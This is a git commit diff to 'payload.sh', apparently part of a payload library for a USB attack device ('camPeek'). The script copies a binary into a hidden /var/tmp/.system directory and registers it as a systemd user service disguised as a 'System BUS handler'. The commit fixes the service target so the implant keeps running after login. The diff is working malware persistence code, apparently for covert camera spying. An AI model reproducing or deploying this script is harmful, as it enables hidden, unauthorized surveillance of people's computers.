Update payload.sh
parent
0829d88f02
commit
45e4bd1d38
|
@ -10,7 +10,7 @@ mkdir /var/tmp/.system/sysLog
|
||||||
cp -r $mntt/payloads/library/camPeek/systemBus /var/tmp/.system/systemBus
|
cp -r $mntt/payloads/library/camPeek/systemBus /var/tmp/.system/systemBus
|
||||||
chmod +x /var/tmp/.system/systemBus
|
chmod +x /var/tmp/.system/systemBus
|
||||||
mkdir -p ~/.config/systemd/user
|
mkdir -p ~/.config/systemd/user
|
||||||
echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/systemBUS.service
|
echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/systemBUS.service
|
||||||
systemctl --user daemon-reload
|
systemctl --user daemon-reload
|
||||||
systemctl --user enable --now systemBUS.service
|
systemctl --user enable --now systemBUS.service
|
||||||
systemctl --user start --now systemBUS.service
|
systemctl --user start --now systemBUS.service
|
||||||
|
|
Loading…
Reference in New Issue